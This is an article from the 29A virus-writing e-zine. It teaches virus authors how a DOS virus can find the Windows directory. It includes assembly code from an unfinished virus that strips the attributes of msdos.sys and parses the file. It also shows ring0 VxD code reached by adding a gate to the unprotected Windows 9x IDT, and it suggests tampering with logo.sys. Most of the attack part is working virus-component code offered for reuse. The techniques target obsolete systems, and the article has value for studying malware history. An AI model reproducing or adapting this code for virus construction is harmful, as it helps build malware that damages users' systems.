Copy Link
Add to Bookmark
Report
29A Issue 03 02 06
How to get the Windoze directory from a dos virus
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Reptile/29A
Sumtimes you need to get the windoze directory from a dos virus, for examp-
le in a VxD dropper or sum weird (multiplatform) virus :) or you just need
it for other purposes but you can't use APIs. Anyways this can be done very
easily. Just take a l00k at msdos.sys:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
[Paths]
UninstallDir=C:\
WinDir=C:\WINDOWS <--- :P
WinBootDir=C:\WINDOWS
HostWinBootDrv=C
[Options]
BootGUI=1
Network=1
Logo=0
;
;The following lines are required for compatibility with other programs.
;Do not remove them (MSDOS.SYS needs to be >1024 bytes).
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa
;xxx...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
To make it even easier... here's sum code of a never finished virus :P
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;get the windoze directory
mov ax,4300h ;get attributes
lea dx,[bp + offset msdossys]
int 21h
push cx ;save 'em for l8r
mov ax,4301h ;remove attributes
xor cx,cx
lea dx,[bp + offset msdossys]
int 21h
mov ax,3d02h ;open 'c:\msdos.sys'
lea dx,[bp + offset msdossys]
int 21h
xchg ax,bx
jc exit
mov ah,3fh
mov cx,255 ;better to read t00 much than not enuff :P
lea dx,[bp + offset rbuf]
int 21h
push ds
pop es
lea si,[bp + offset rbuf]
lea di,[bp + offset sdir]
find:
lodsb
cmp al,'W' ;'W'inDir=C:\WINDOZE
jne l00p
lodsd
cmp eax,'iDni' ;W'inDi'r=C:\WINDOZE
jne l00p
lodsw
st0re:
lodsb
cmp al,0dh ;end?
je d0ne
stosb
jmp st0re
l00p:
loop find
d0ne:
mov word ptr [bp + wdir],di ;save windoze path
;NOTE: dont forget to add a zero on the end before using wdir :P
mov ah,3eh ;close 'c:\msdos.sys'
int 21h
mov ax,4301h ;restore attributes
pop cx
lea dx,[bp + offset msdossys]
int 21h
;--------------------------------------------------------------------------
msdossys db 'c:\msdos.sys',0
rbuf db ?
sdir db ?
wdir db ?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are also some other variables in msdos.sys that might be interesting:
[Paths]
HostWinBootDrv= The letter of the drive which windoze is installed on
WinBootDir= The directory that contains the windoze start-up files
WinDir= The windoze 'home' directory (windoze uses WinDir= to set
the default values for environment variables like TMP, TE-
MP, COMSPEC)
[Options] (You can choose between 1=enabled 0=disabled)
BootKeys= Allow the use of boot-option function keys while the 'st-
arting windoze' message?
BootDelay= The setting: how long the 'starting windoze' message will
be visible
BootMenu= Display the start-up menu every time?
BootMenuDefault= Which item of the menu will be selected if there's no
choice?
BootMenuDelay= Time to choose the item
BootGUI= Start the graphical windoze interface?
Logo= Display the animated windoze logo?
BootWin= Tell the bootstrap loader to start windoze?
BootMulti= Options
BootSafe= Start system in 'Safe Mode'?
BootWarn= Displays sum warning stuff
DblSpace= Load disk compression driver?
DrvSpace= ''
DoubleBuffer= Load the 32-bit double-buffering device driver for SCSI?
LoadTop= Load command.com and disk compression drivers on the top
of conventional RAM?
Network= Add the safe mode with networking to the start-up? If it's
disabled on a networked pc, the pc can't access the netwo-
rk unless the system is started in normal mode
DisableLog= Undocumented: disable sum loggin'
SystemReg= Undocumented: sumthing with the registry (?) :P
Oh...and don't forget to change the windoze logo which is saved as logo.sys
(in bmp format) in the root directory of the drive where windoze is.
Alternative ways of getting the windoze directory
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Since the page where the Interrupt Descriptor Table (IDT) is stored in
windoze 9x is not protected you can add a new gate and then do an exception
to transfer to a ring0 selector. Once you are in ring0 you can use this to
get the path of windoze:
push 256 ;allocate memory
VxDCall IFSMgr_GetHeap
add esp,4
mov [wdir],eax
;get the path of vmm32.vxd
VMMCall Get_Exec_Path ;edx = path / ecx = count of chars
mov esi,edx ;c:\windoze\system\
mov edi,[wdir] ;store it here
sub ecx,8 ;count of chars - \system\
rep movsb
wdir dd 0
...or you could try to scan kernel32 and then use GetProcAdress/GetModule-
Handle or try to use the dos stub of regedit.exe to access the registry.
see yah in hell,
-Reptile/29A-